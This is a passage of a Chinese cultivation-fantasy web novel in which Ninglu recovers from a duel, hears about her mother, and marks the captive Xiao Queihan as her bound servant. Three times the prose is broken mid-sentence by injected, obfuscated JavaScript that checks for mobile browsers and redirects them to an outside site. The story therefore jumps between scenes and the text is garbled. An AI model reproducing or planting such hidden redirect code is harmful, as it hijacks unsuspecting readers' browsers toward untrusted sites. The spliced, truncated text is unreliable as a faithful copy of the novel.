凝露静静等待了一会儿,漫天的火雨唯有她一人屹立在断生台上,火舌舔舐过她鲜红的衣摆却是俯首称臣的姿态。 她意识到原来是自己赢了。 筑基期修士的神魂还没办法遁逃夺舍,一旦身死便是魂散天地,破旧的青铜铃铛悄无声息地掩在血泊之中,沉寂地等候着自己的下一任主人。 凝露看着它,捡起它,将它牢牢握在了自己的手心。 掌指炽热。 她的心中也仿佛燃烧着万丈豪情。 * 凝露下场的时候,所有弟子都自动为她让开了一条路,眼里满是畏惧和敬仰,从今往后再也不会有人敢以少主之名戏谑于她。 她冷着脸,避开所有人的目光,一头扎进了云观怀里。 她们一同回了无妄殿。 直到进了殿门,凝露支撑不住地软下了身子,眼泪噼里啪啦地流,扯着云观的袖子一个劲地喊疼,面露委屈之色。 她还从未受过如此重的伤。 云观心疼到嘴唇都在颤抖,手忙脚乱地搀扶住了她,喂了她好几颗疗伤丹药才勉强冷静了下来。 好在丹药的效果很好。 凝露的伤口逐渐痊愈,柔和的灵力流转在她的身体里修补着断裂的经脉,虚弱苍白的脸颊上也渐渐染上了一层红润。 她扬了扬眉,转眼间就忘记了自己刚刚痛哭过,兴冲冲地说道:“筑基初期对筑基后期,我赢了!云观,你当为我高兴!” “好。”云观含泪带笑。 她抬手轻抚过凝露湿漉漉的脸庞,转身就掏出了一碗又一碗的苦药,爱怜地端到了她的面前。 凝露:“……” 她不笑了,试图用可怜兮兮的表情蒙混过关。 失败。 凝露苦着脸,小口啄饮。 云观督促着她赶紧喝完,眼见她生龙活虎方才松懈了下来,点着她的额头,絮絮叨叨:“就知道你会不听我的话,还好我给你提前备好了丹药,良药苦口,不吃不行,不然你这胳膊就别想要了,赤幽的反噬可不是那么好受的……” 凝露不敢说话,低头猛喝。 云观细细打量了她一会儿,忽然问:“今日,离焱魔君有来观战吗?” 凝露一怔,旋即摇头,她早已习惯了父君的不露面。 云观的面色很难看。 她的手指攥得很紧,指甲边缘近乎发白,眼睛里是一种难言的痛恨。 凝露还不懂什么是深入骨髓的恨意。 她只知道云观的愤怒溢于言表,可她不想让云观和自己的父君起冲突,她们都是凝露心底最亲的人。 凝露想了想,轻声说:“归雪长老告诉我父君有要事在身,无法露面,她受父君所托会护住我的性命,让我勿忧生死。” 她顿了顿,眉眼微弯:“大概父君还是看重我的吧。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15716982|173763||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 可她不需要了。 凝露应下生死战,不是因为有恃无恐,而是她想让父君看见自己,想证明自己一直在努力修行,她也可以一鸣惊人。 父君没来。 她曾难过一瞬,可当她独自站在断生台上蔑视着自己死去的敌人之时,她忽然有所明悟。 所谓看重不过如此。 她的性命从不需要托付于他人之手。 “再说了,我有娘亲庇佑呢。”凝露晃出了自己脖子上从小带大的护身符,笑意盈盈地说道。 云观眼神怔然:“若是你娘亲还在,谁敢这么欺负你,她性子一向最烈,眼里揉不得半点沙子。” 凝露的手顿住了,这是她第一次听见有人说起了自己的母亲。 “云观,你和我母亲认识。” 她迫切地抓住云观的袖子,缠着她不断询问,想要在脑海中刻画出属于自己母亲的形象。 云观被她缠得没办法,无奈地叹了口气,望着她的眼神却很温柔:“你娘的事很复杂,你修为太低知道了不好,等你到了金丹期,我就将她的事一一说给你听。” 唯有金丹才算的上是真正的修士。 凝露却等不及,她太想知道了,想知道她等待的梦中人究竟是何种模样,从梦醒的那一刻她就明白,那是母亲给予她的温暖,而那温暖是贯穿了生命的海市蜃楼。 “所以是娘亲让你留在我身边照顾我的吗,不然你怎么会对我这么好,还有娘亲她是不是也来自于仙门……” 脱口而出的瞬间,凝露愣住了。 脑海中的细枝末节一点点浮现,她却不敢再细想下去,不然她会怀疑自己存在的意义究竟是为了什么。 云观没有反驳。 凝露的身躯微微发抖,如同被淋湿了细羽的小鸟,好不容易兴致勃勃地起飞,却遇上了一场酝酿已久的暴风雨。 她狼狈地飞了许久,终于找到了自己的落脚点,却发现那不过是禁锢她的另一座高塔。 凝露迷茫地望着它,高塔上密密麻麻地刻着无数类似的语句,那些稚嫩的笔触交错重叠汇聚成黑色的洋流,看起来是那样的触目惊心。 “好想见娘亲。” “为什么父亲看我的眼神像是在看蝼蚁。” …… “父君想要复活母亲,他们一定是相爱的吧。” “父君想要复活母亲,他们一定是相爱的吧。” “父君想要复活母亲,他们一定是相爱的吧。” …… “如果能复活母亲,牺牲我也没关系。” 凝露心想,原来是这样啊。 “不,不是这样的。”云观捧起了她的脸颊,神情难过而悲伤,“溯影她临死前的心愿是希望你能热烈自由地活下去,即便凡人的一生短暂如晨露。” “而我则甘愿为你停留于此,你若做凡人,我便护你一世无忧,你若做修士,我便为你护道一生。” 凝露睁大了眼睛,眼泪簌簌落下。 云观摸了摸她的头,将她纳入了自己的怀中:“凝露,这些陈年旧事与你无关,你只要知道——无论你身处何时何地,都有人愿意为你付出真心,你娘亲很爱你,我也很爱你。” 她的高塔轰然坠倒。 凝露缩进了云观的怀里,脸颊掩在柔软的衣领之下,泪水无声无息地流淌,连带着她的衣裳也好似在流泪。 她一直哭,一直哭,哭了很久。 就连睡梦中也在抽噎。 云观以为自己此生都不会流泪,她以剑刃铸造的身躯也无法拥有人类的情感,可她这一刻却在后悔自己为什么没能早早来到凝露的身边。 …… 窗外下了一场小雨。 凝露被绵绵雨声吵醒了,她目不转睛地盯着窗外看了一会儿,发现被雨淋湿的花花草草悄然伸出了新芽。 春天快要来了啊。 风雪境将迎来一次真正的万物复苏,沉寂的生命也将拥有它各自的出路。 凝露收拾好了自己的情绪,重振旗鼓,她将来可是要结成金丹的修士,还有浩瀚广阔的天地在等着她遨游展翅呢。 她可不能再哭鼻子。 凝露忙碌的一天开始了,她先是打坐了两个时辰,又甩了半天的鞭子,接着翻来覆去地摆弄她的铃铛,她隐约觉得自己好像忘记了什么,不过想不起来。 铃铛更重要。 祭仙铃也并没有像话本里描述的那样,神器主动褪去伪装,绽放光芒,屁颠颠地请求认主。 要是它真这样了,凝露反而会吓一跳。 苍玄界从来没有掉馅饼的好事,如果有那一定是叼着馅饼的陷阱,以及邪的不能再邪的邪器。 那它是如何解封的呢。 凝露细细回想,随后蹭得一下站了起来,她想起来了,她把萧阙寒忘在阴牢里了,阴牢灵气稀薄,他不会伤重而亡了吧。 云观:“怎么了?” 凝露飞奔出大殿,凌乱的发丝拂过她的脸颊,折散出熠熠辉光,她边跑边大声说:“云观,我有心仪的魔奴了,不过他被我忘在了阴牢,我得马上去把他带回来!” “什么?!” 云观大惊失色。 凝露跑得太快了。 云观只来得及听见她说什么心仪,什么带回来看,她感觉自己的头有点眩晕,焦虑地在大殿里走来走去。 最终后她去自己的厢房里拎出了一柄薄如蝉翼的长剑,佝偻的身形一点点挺直,等她走出大殿时已是气势汹汹。 好似全然换了一人。 8. 第 8 章 凝露此刻还一无所知。 她飞奔至断生台后就停下了脚步,先是理了理凌乱的衣摆,再将四处飞舞的乌发随手拢到了脑后。 出来的太急,都忘记绾发了。 凝露懊恼地摸了摸自己被风吹得毛毛躁躁的头发,她的发丝很软,不精心养护就很容易打结。 不过七日而已,他皮糙肉厚,应该还活着吧。 但…… 她又怕自己见到的是尸体。 凝露盯着不停流转的灵气漩涡,面色纠结了半晌,还是放弃了不适宜的想法,若无其事地走了进去。 虽然她认为三日与七日也并无区别。 狭窄的过道更阴森了。 凝露越往里走越觉得灵气阴冷,近乎凝滞,风声、水声都近似于无,唯有一股萦绕在她鼻尖的淡淡香气格外特殊。 它显得过于缠绵了。 若隐若现的清淡混杂在微弱的血腥气中,隐隐约约的勾人意味,可若是真的将它吸入肺腑,馥郁且浓烈的香气就会瞬间绽放,直叫人目眩神迷。 凝露倏的屏息凝神,就要点燃灵火。 然而有人比她更快。 疾风扑面,锁链声响动的霎那,她就被猛地摁倒在地,甚至连躲避都来不及,双臂被拽折至身后,敏感的腰背处也传来了极具压迫性的触感,酥麻和疼痛也不知哪个来的更快,又或者是联袂而来。 凝露腰腹僵硬。 她拼命踹他的伤腿,唤出赤幽勒住他的脖颈,却被他轻而易举地拂了开去,紧接着他施压的力道更重了。 不知什么时候,他们的身体交叠在了一起,炽热的体温相互纠缠。 凝露意识到他的体魄比自己想象中的还要强大,难怪他能挣脱束缚,埋伏在这里蹲守她。她抬起冷汗津津的脸,看见了不远处斑驳脱落的墙皮,以及碎成了无数段的黑色链条。 还好阴牢本身压制住了他大部分的灵力。 香气悄然渗入。 凝露摇了摇眩晕的脑袋,拽住了在她面前晃来晃去的冰凉发丝,然后咬着牙拼命拉扯,用尽了全身的力气。 她想以疼痛来唤醒自己迷蒙的神智。 然而什么感觉都没有。 凝露仔细辨认了一下,发现原来不是她的。 身后之人无动于衷。 他的双臂如同野兽捕食,一旦抓住了自己的猎物就死咬不放,同时也对一切反抗视若无睹。 真是糟糕透了。 凝露的身体一寸寸发软,混乱的思绪却还在顽强思考着对策,她怀疑萧阙寒可能失去了神智,类似于走火入魔,自己都不知道自己在干些什么。 就在这时,他悄无声息地动了。 巨蟒缩紧了自己的猎物。 他强健有力的手臂原本控制着她的身体,而现在他改用膝盖顶住,手掌握住她的脖颈,冰冷的手指压在她脆弱的脊骨上缓缓滑动,带来毛骨悚然的危险意味。 只需轻轻一拽,她漂亮的脊椎就会被瞬间抽出。 色泽会和他的手一样苍白。 …… 这样的死也太难看了。 凝露的身体瑟缩了一下,眼睛涌出了生理性的泪花。 他的指尖也慢慢地滑落到了尾椎,却没怎么再动,指腹隔着衣裳摩挲着薄薄的皮肉上,与其说是在犹豫,倒不如说是一种漫不经心的恐吓。 “怎么不还手?” 她还手了! 要不是他身上那股莫名其妙的香,她怎么可能软趴趴地躺在地上,一个男人抹什么香,她都没抹香! 凝露眼眶气得发红,脑海中只有一个想法,她要引爆自己体内的灵气,给这个莫名其妙犯病的家伙一个教训。 他死不死无所谓。 总归自己是还能活着的。 凝露下定了决心,就要引经脉中的灵气倒灌回丹田。 然而身后之人眼疾手快,骨节分明的手直接绕向了她的小腹,单手掐诀,转瞬间就将她汇聚起来的灵气又引导回了她的经脉,又抚平了她躁动的丹田。 好快的手法。 凝露愣愣地看着,心里意识到他确实不简单,某种意义上来讲,他真能算的上是虎落平阳被犬欺。 脊椎上可怕的触感消失了。 他们在地面上倒映出来的影子像两条遽然分开的蛇,一条垂着头颅,趴在地上一动不动,另一条俯身凝视着对方,时不时吐出猩红的信子。 “我又没真的杀你,怎么就要和我同归于尽呢。说实话,我还以为你失败了,才在这里蹲守的,没想到等来的还是你。 “你竟然把我忘了整整七天。” 他近乎挨着凝露的脸颊说话,唇形微弯,唇齿开阖间宛若亲吻,吐出的句子轻柔似情人之间的蜜语。 可他的神情是冷的,是凝结了的蜡。 凝露却觉得他身上的温度仿佛滚烫到可以把他自己给融化,顺带再把她给融了,她觉得自己整个人都有点奇怪。 她努力去听他说话。 萧阙寒说对她没有杀意,这倒是真的,不然他摁倒她的瞬间就能扭断她的脖颈,不给她任何挣扎的机会。 至于他后面的话,凝露恍惚之下没听清楚,只听见了他怨夫似的语气,叽里咕噜地说着什么整整七天。 凝露嗓音绵软,真诚地睁着一双朦胧的眼。 “我忘了。” 萧阙寒从未见过有人这般直白,直白地告诉他忘了,他还以为自己会听到各种狡辩的、欺骗他的话语。 其实哪怕她说自己养了好几天的病,他都会信。 他看出来她受过伤。 萧阙寒将她的脸转了过来,撩开了她的发丝,眼神难辨地盯着她看,他对凝露没有杀意,只是因为好奇。 她对他的恶意是那样的明显。 可为什么她的眼睛还能如此干净,明明生长在魔门,她却可以“天真”的像是温室里肆意生长的花。 凝露不舒服地晃了晃脸。 她的脸上沾了些灰,眼眶微红,凌乱的乌发捧出了一张可怜兮兮的小脸,俨然一副被吓到了的模样。 萧阙寒的手指一顿,在她的脸颊上压出了一个红印,他骤然放轻了力道,忽而又觉得心里发痒。 准确来说是浑身上下都不太对劲。 他察觉到了从刚刚醒过来时,身体里就存在的莫名其妙的冲动,以及他灼热到不太正常的体温。 喉咙里几欲压制不住喘息。 凝露恍惚地看着他,忽然来了一句:“你好香啊。” 为什么会有这么好看又这么香的人。 香气浸润了他的血,他的骨,以至于它已彻底消散,凝露也能从他的血肉中嗅出那股若隐若现的香味。 萧阙寒脸色大变,狼狈地松开了手。 眼见她要坠地,他顿时反应了过来,瞬息之间将她扶住,咬了咬牙又将她揽进了自己的怀里,随后以灵力为刃划破手腕,将血液滴入她的唇齿之间。 血液也是芳香的,凝露下意识地舔了舔唇角。 红润的柔软唇瓣,若隐若现的舌尖,刹那间都仿佛有了致 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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萧阙寒闷哼了一声,眼花缭乱中看到了一个已经清醒过来的凝露,她已然翻身跨坐上了他的腹部,双手死死地摁住他的肩胛,眼里燃烧着愤怒的火焰。 “有没有人告诉你,我很记仇。” 她的指尖陷入了他锁骨处的伤口,锁链的贯穿伤本就一直未愈,如今更是彻底崩裂,血流如注。 比起疼痛,更多的是难耐。 萧阙寒抬手遮住了眼,胸口的起伏压抑而又隐忍,喉结上下滚动,生涩地吐出了一句:“我知道了,你先下去。” 他的嗓音比平常低哑,语调也不扬了,尾音略微下沉,间或夹杂着些许微不可闻的喘息。 他看起来很不舒服。 凝露歪了歪头,不为所动,她就是要让他不舒服,让他为刚才的所作所为付出代价。 他越不喜欢的事情,她越要干。 “我不。” 凝露俯身靠近,恶狠狠地扯开了他的衣领,被火灼烧的衣物不堪重负的裂开,露出了他冷玉似的胸膛,白皙的皮肉上到处都是红色的勒痕。 或许不久之后还会有鞭痕。 凝露的指尖滑过他紧窄的腰腹,感受到他的皮肉一点点紧绷,风水轮流转,她怎么可能轻而易举地放过他。 她朝他粲然一笑,语气恶劣。 “你没有灵力了哦,现在是我想怎么惩罚你就怎么惩罚你。” 9. 第 9 章 “那你想怎么惩罚我?” 萧阙寒松开了遮眼的手,极力忽略她压在自己胸膛上的手指,只望着高高在上的凝露,唇角习惯性地轻扯泛出嘲弄。 他最不怕的便是所谓的惩罚。 凝露也看出来了。 他失去了灵力,不知为何竟还对她失去了防备心,只能被她狼狈地捆住。既然受制于人就要有受制于人的样子,可他身上的桀骜不驯却是怎么藏也藏不住。 刀子浸润春水,还是寒刀。 凝露轻轻叹了口气,指尖抚过他身上那些血淋淋的伤口,有陈旧的已经结痂了的,也有新鲜的经久不愈。 “这么多伤,你真的不疼吗?” 她的声音柔和的像一朵云,她没有回答他的问题,反而问他疼不疼。 又是这样蛊惑的神情。 萧阙寒抿了抿唇,说不出的躁郁,视线却不由自主地追逐着她蝴蝶一样的指尖,它轻飘飘地拂过了他的胸膛,没有皮开肉绽,也没有鲜血淋漓。 更像是轻柔的爱抚和疼惜。 胸腔里的那颗心怔愣得好像也不知自己该如何跳动了,犹犹豫豫地随着她指尖拂过的力道而砰砰而响。 伤口也泛起了细细密密的疼和痒。 够了。 萧阙寒心想。 他这辈子绝无可能再受疼痛桎梏。 “可你感受不到疼的话,我都不知该如何罚你了。”凝露倾听着他的心跳,不动声色地晃了晃裙摆上的铃铛,面上若有若无的失落,“所以把你的命脉告诉我吧,好不好。” 炼体的修士实力强劲。 唯有命脉是他们唯一的弱点,每个修士的命脉都不同,只要一旦知晓,就能最快程度地瓦解□□,破开防御。 凝露在他身上吃了一次亏,自然不愿再吃第二次。 萧阙寒恍了恍神,正欲开口。 他倏然回神,目光定定地落在了凝露脸上,又转而滞在了她腰间挂着的铃铛,心里飘荡着的羽毛也彻底消散了。 他冷声道:“你明知它对我不管用。” 凝露坦然承认:“总要试试啊,万一你被迷惑就告诉我了呢。” 萧阙寒想起心中那一瞬的动摇,胸膛急促地起伏了几下,他垂下了鸦羽般的眼睫,嗓音冰凉:“我不会告诉你的,你也不必惺惺作态。” 凝露似是被伤到了,手指在他的胸膛上划划戳戳:“你是我的魔奴,我还是关心你的呀,不然怎么可能还来这里找你。虽说我把你忘了,可我对你毕竟没有杀心,你对我却不一定了。” 她的眼底似有泪光闪烁,差点生死一线,怎么可能不害怕。 萧阙寒想起了自己的失控。 他手指攥紧,别开了眼,嗓音低哑:“你想多了,我对你也并无杀心。方才是因为在封闭的环境待久了……是我冒犯了你,我可以任凭你处置。” 好一副束手就擒的模样。 凝露俯身贴近,挑开了他的发丝,迫使他看向自己。 她对他没有杀心纯粹是有利可图,她想要的仅仅是将他牢牢捏在自己的手心,从他的身上获取自己想要的一切罢了。 萧阙寒说他也没有杀心。 凝露不信。 “那你下次再失控,冒犯了我,怎么办?”她偏了偏头,状似无辜,“而且你也亲口说了任凭我处置,为什么不能把命脉告诉我,我又不会拿它来针对你。” 她还记得那阵若隐若现的香气,差点让她栽了一个大跟头。 凝露只是想要抓住牵制他的缰绳,并不想彻底与他为敌,这个要求并不过分,何况命脉的重要性也会在修士突破元婴期后逐渐减弱。 她还是很善良的。 萧阙寒沉默了半晌,吐出了一句话:“炼体修士的命脉唯有合契道侣才能知晓,天地作证,永无背叛。” 毕竟是身家性命。 他对凝露感兴趣,不代表他想把自己栽进去。 凝露还真不知道。 魔土决心炼体的修士很少,有快捷的提升修为的法子,谁愿意去走又苦又痛的锻体之路啊。 凝露好奇地在他的身上摸来摸去,她只是猜测他是一个炼体修士,没想到他还真是,锻体的法门很多,炼体修士就不一样了,据说他们走的是上古之路。 修炼到极致,自身既世界。 难怪他身上的血气生机如此旺盛,怎么受伤都能快速恢复。 萧阙寒神情冰冷:“我的炼体法比较特殊,身上留有世家相传的禁制,即便我想告诉你也没办法。” 除非结为道侣。 凝露瞬间打消了心思,她对有一个道侣没有兴趣,或许是不小心触碰到了什么,他的胸膛上绽放出了大片艳丽的血色桃花,显得他的神情更为冰冷了。 原来这就是禁制啊。 她后知后觉,缓缓收回了自己的手。 萧阙寒无疑也注意到了,他额角青筋直跳,恨不得立马挣脱束缚,然而他越挣扎,赤幽陷得越深,勒痕越来越明显,胸腹起伏间绽放的桃花也就越来越艳丽。 可禁制是无情的。 它不允许任何欲望得以释放。 凝露呐呐无言,她是真不知他身上的禁制这么可怕,难怪他不让她看,也坚决不允许她碰。 不知过了多久,他的喘息声平复了下来,“你可以转过来了。” 嗓音又冷又涩。 凝露飞快地觑了他一眼,他破布似的衣服还好端端地穿在身上,乌黑的发像是刚从水里捞上来一样,眉眼绮丽,唇色鲜红,眼眸中氤氲着雾气。 好似什么都发生了,又好似什么都没发生。 萧阙寒攫取到了她的目光,神情阴郁:“你又在想什么?” 若不是她乱来,他何至于如此狼狈。 凝露诚挚地望着他:“我说我不是故意的,你信吗?” 萧阙寒:“……你是说你的手有自己的想法?” 他把自己打晕了都不信。 “我只是好奇你们炼体修士的构造,下次不会了。” 她下次还会。 凝露觉得自己找到了对付他的方法。 禁制是个好东西。 萧阙寒轻扯了唇角,没有在这个问题上再度深究,他极力心平气和,问出了自己一直想知道的问题。 “你究竟为何想让我做你的魔奴?若是要我做炉鼎,怕是不能如你所愿,你也亲眼见证了这道禁制的存在。” 他的元阳只会留给未来的道侣。 凝露反问:“若是我一定要如愿呢?” 禁制也可以解除。 这世上还没有她无法得到的东西,即便是不能强扭的瓜她也要强扭下来,尝尝咸淡。 萧阙寒:“那我会杀了你。” 他的嗓音低沉,却是斩钉截铁,杀意锋芒毕露。 能从血池里活下来的哪个是善茬。 凝露在他的身上 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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萧阙寒心里清楚的明白真实的凝露就是这样的性子,可他仍旧为她口干舌燥,心底发痒。 他承认她是一个可怕的对手。 “你一直在算计我,降低我的防备心,让我主动靠近你设下的陷阱。” “为什么?” 萧阙寒直勾勾地盯着凝露,视线落到了她佩戴着的铃铛上,他看不出来有什么特别,但他的直觉就是如此。 猛兽一样的直觉。 凝露的心迅速跳动,控制住自己不去看铃铛,只将视线投入在他的身上,炽热的目光像是在看自己心爱的人或物。 “因为喜欢。” 喜欢的东西就想要占为己有。 凝露从不吝啬于自己的喜欢,萧阙寒也是真的符合她的审美,她喜欢这样的人,玩弄和折辱又怎么不算是一种喜欢呢。 她厌恶的人只会想让他去死。 “我本来想对你好一点的,但我最讨厌的就是别人的轻视,看轻我可是要付出代价的,哪怕是你也不例外。”她半真半假地说道,也不管他信不信。 总归他已经是她的魔奴了。 凝露吸取了教训,不会再动自己的恻隐之心,魔奴就应该是魔奴,卑微低贱的存在,决不允许爬到主人的头上。 “所以你现在该叫我主人了。” 她的话便是赦令。 不服从便死。 萧阙寒感受到了来自神魂深处的强大压迫,魔奴印就是这样一个残酷冷血的禁制,他不甘地意识到自己可能真栽了。 10. 第 10 章 “……主人。” 萧阙寒隐忍地垂下头颅,指尖用力到发白,好似要把她的裙摆揉皱成一团,彻底碾烂撕碎。 多么美妙的声音。 凝露眉眼微弯,轻轻拍了拍他的脸颊,嗓音轻柔:“乖。” 她直起身,光滑的布料无声无息从他的掌心滑落,残留在她裙摆上的纹路扭曲而又不堪。 凝露漫不经心地抚平。 镌刻在他脖颈的猩红符文也终于不再闪烁,归于平静。 凝露的手顿了顿,若不是她对自己的禁制水平很有信心,她还以为他这么快又能突破她的神魂禁制了。 她眼神微眯,静静看着。 萧阙寒扼住了自己的手腕,强行压下那细微的颤抖,直到深刻入骨的疼痛逐渐消失,留于腕上的符文也逐渐隐去。 他打量了片刻,抬起头问道:“怎么不继续折磨我了?” 碧眸幽深。 好似一头伺机而动,即将噬主的恶狼。 凝露蹙眉:“我没说过我喜欢折磨人啊。”她不喜欢他的眼神,可她喜欢他的眼睛,也乐于欣赏他的愤怒和反抗。 只会听从命令的傀儡可没有一点意思。 萧阙寒怔了一瞬,不小心让她的手再一次触碰到了自己,她抬起他的脸,毫不犹豫地赞叹:“你的眼睛真好看。” 纯净的天青碧色,仿佛山野的流云,披着朦胧的烟雨。 纯粹的野性。 萧阙寒从未被人如此直白地诉说喜爱,他的耳根微微发红,不自在地闭上眼,又不由想起她之前说的喜欢,睫毛轻颤。 “我只是想惩罚你,又不是要折磨你,不过……”凝露靠近他,拉长了语调,嗓音甜蜜却裹着毒药。 “你千万要记住不许对我有任何不好的不该有的想法,否则神魂就会受到万刺穿心的痛楚,浑身动弹不得,然后我再心念一动,你就会被活生生痛死。” 主人的态度取决于狗的忠诚。 萧阙寒睁开眼,紧抿着唇,为自己浮动的心绪感到可笑。 凝露拽了拽他的头发,让他的视线再次回到她的身上。 萧阙寒望向她。 凝露神色认真且执着,一字一句地说道:“记住了,从今日起,你就属于我了,任何人敢打你的脸就是与我为敌,而我目前还不希望你去死。” 所以不允许有任何背叛。 她也会努力成为一个好主人。 萧阙寒觉得自己又被蛊惑了,但他好像已经没有了挣扎的余地,只能一点点地看着自己沉沦。 他的眼神没有那么凶了。 凝露心满意足地发表完自己的宣言,巡视自己的领土一样,目光梭巡在他的身上,然后停在他喉结处的一圈荆棘纹上不动了。 鲜红的符文就像她这个人一样艳丽而夺目,映在他冷白的肌肤上格外显眼,且随着他的呼吸上下起伏。 完美的魔奴印。 就是莫名有点说不上来的感觉。 凝露的眼神过于古怪。 萧阙寒抚上了自己的脖颈,摩挲了片刻,符文被揉皱,皮肤微微发红,灼热的刺痛隐隐尤在。 他倏然抬头:“你的禁制没有隐匿?!” 凝露歪了歪头:“为什么要隐匿?魔奴印就是要清晰明白,让你一看就知道是谁的人啊,隐匿起来那还要你何用。” 她还想炫耀自己有了一个魔奴呢。 萧阙寒不想说话了。 魔奴印已经刻下,就没办法再更改位置,重刻一遍那更是不可能。 凝露怕他跑了。 “……你这样子,我出去怎么见人。”萧阙寒平心静气。 可最低贱的炉鼎都不会明晃晃地将主人的印迹刻在如此敏感的地方,像一条赤.裸裸的拴着他的狗绳。 对比起来,不如黥面。 凝露恍然大悟,原来炉鼎私底下还能这么玩,可是带出去跟随左右就不太体面了,她大度地说道:“那你遮起来吧。” 萧阙寒:“……” 这不更是此地无银三百两。 “罢了。” 萧阙寒利落起身。 反正魔奴的身份已经尘埃落定,他也无所谓别人说什么闲言闲语,几句刺耳的话又能耐他何,就算真惹了他,那就一杀了之。 只要够强,世人俗语算什么。 凝露作为主人就更不在意了,更何况魔修的名声哪有好的,不一个个都是杀人如麻,浪荡成性。 “你的伤好了。”凝露踮起脚,在他脖颈处嗅了几下,“香气也消失了。” 萧阙寒掀起眼帘:“灵力恢复了,自然就好了,至于香气,你喝了我的血,半年内都不会再受它的影响。” 凝露谨慎地问:“你那香气是怎么回事?” 萧阙寒倏然捏紧拳头,眼眸中一闪而逝的厌恨。 大概率不是什么好事了。 凝露纠结地想了一会儿,若无其事地说道:“你就当我没问过吧。”她还是挺善解人意的,毕竟她也很讨厌被人打探伤心事。 身后却传来一阵很轻的力道,他拉住了她的手腕,很快又放下了,没有僭越,他们之间隔着分寸和距离。 萧阙寒不是没做过奴。 唯有凝露是不一样的,她看向他的眼睛里是意外的干净和纯粹,哪怕他知晓她的恶劣,他也无法生出厌恶与痛恨之心。 甚至被追杀了了这么久,他竟能在她这里获得一些少见的安宁。 或许是他流浪太久了。 萧阙寒的嗓音低凉,宛若水中漂浮的鬼魅,他流淌在身后的发丝也是冰凉的,他的一切都仿佛浸润了水的森森寒气。 唯有香气蔓延的一刹,他的身上才沾染了活人应有的温度,滚烫的心在他的胸腔里一刻不停地跳动。 “因为我是失败的美人煞。” 美人煞是世家圈养的一种低贱炉鼎,他们唯一的用途就是打探情报和刺杀,他们没有理智,只有听从命令的本能,连身上的香气都被命名为仙人泪。 “它的用途只有一个,就是……助兴。” 仙人沉迷于欲望,为此神魂颠倒,垂泪无言。 凝露神情恍惚,她觉得自己听到了什么不得了的东西,炉鼎不少见,没想到世家还能承旧创新,玩出各种花活。 “所以世家与魔门又有何异。”萧阙寒轻笑了一声。 “如此可还要我做你的炉鼎。”他似笑非笑。 所谓牡丹花下死,做鬼也风流。 凝露眨了眨眼,思索了一番,义正言辞道:“你别想太多了,不是还有另一个禁制在默默守护你的元阳嘛。” 那个禁制挺复杂的,她就算强行解除也要不眠不休地琢磨好久。 萧阙寒凝视着她,视线顿然划过她水润的红唇,她说话说累了就会不自觉地轻抿一下,薄薄的水光如同无意识的勾引。 她中了香,喝下他的血就好了。 他只能硬熬。 萧阙寒不想成为被欲望支配的野兽,他别开眼,敛下深眉,淡淡道:“我平生最讨厌炉鼎,那句话也不并非针对你。” 他对凝露从未有过杀心。 幸许哪一天他对凝露失去了兴趣,他就会从她身边离开了吧。 魔奴印也只能困他一时。 凝露也不想再待在阴牢里了,她迫不及待如飞鸟般扑出灵气漩涡,萧阙寒慢她一步, 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她喜欢给自己身边的侍从置办行头,出去一看就是自己的人,偶尔她会忘记拿出来,它们就沉眠在她的储物袋里了。 萧阙寒仍然没有动。 凝露生气了:“算了,你爱穿不穿,不穿就还给我。” 穿他的破烂衣服去吧。 “我没说我不穿。” 萧阙寒避开了她伸开的手,慢条斯理地抖了抖衣袍,面不改色地将上面的五行纹路毁去,然后又飞快刻上了属于自己的金纹,掐诀就换上了。 人靠衣装马靠鞍,美人打扮一下更是赏心悦目。 他容颜极盛,浓郁的紫色不会压住他,反而与他相得益彰,更衬托出他那妖异且惑人的面容。 只是萧阙寒没有什么表情,唇角也抿得很直,他不笑时眉眼沉冷,举止间倒是有了几分曾经身为世家公子的仪态。 他缓缓问道:“你喜欢给每一个魔奴都准备服饰?” 其实他很想问凝露究竟有多少个魔奴。 凝露也再一次见识到了美人煞的威力,哪怕是失败的美人煞也是勾魂夺魄,绝世美人榜上当有他一席之地。 凝露面红耳赤,强行冷静。 “其实只有你一个。” 她的意思是刻了她的魔奴印的只有他一个。 那就好。 萧阙寒唇边露出了笑意,他向前跨出了一步,移至凝露的身边,又稍稍退了一点距离,偏头唤她。 凝露嗖得远离。 萧阙寒站在原地,默了许久。 他垂下眼睫,轻声询问:“你不打算带我走了吗?” 他主动唤她主人。 凝露觉得更奇怪了,没有她之前强迫他跪下的自在。 “……你自己跟上。” 萧阙寒默不作声地跟着她,脖子上的荆棘符文一路吸引众多目光。 他紧紧跟着凝露,寸步不离,倒真像一条离不得主人的狗了。 凝露以为自己在搞什么花活,她不由得越走越快,一路上还不准萧阙寒和她说话,然而他又开始招蜂引蝶地吸引年轻弟子了,怎么往常不见他多么讨人喜欢。 她恼恨地命他施展敛息术。 萧阙寒无奈照做。 两人就这么鬼鬼祟祟地回到了她的寝殿。 结果一声惊天大喝,差点把凝露的魂都吓了出来,随之而来的是凌冽的剑光,剑如秋水,势如破星。 “哪来的野小子,藏头露尾,贼眉贼眼,竟敢拐走我家的凝露!” 11. 第 11 章 凝露侧身避过,雪白的剑光挨着她的脸直直劈向了她身后之人,萧阙寒抬起头,眼见寒光刺目,却是避也不避。 他解除了敛息术。 “云观!” 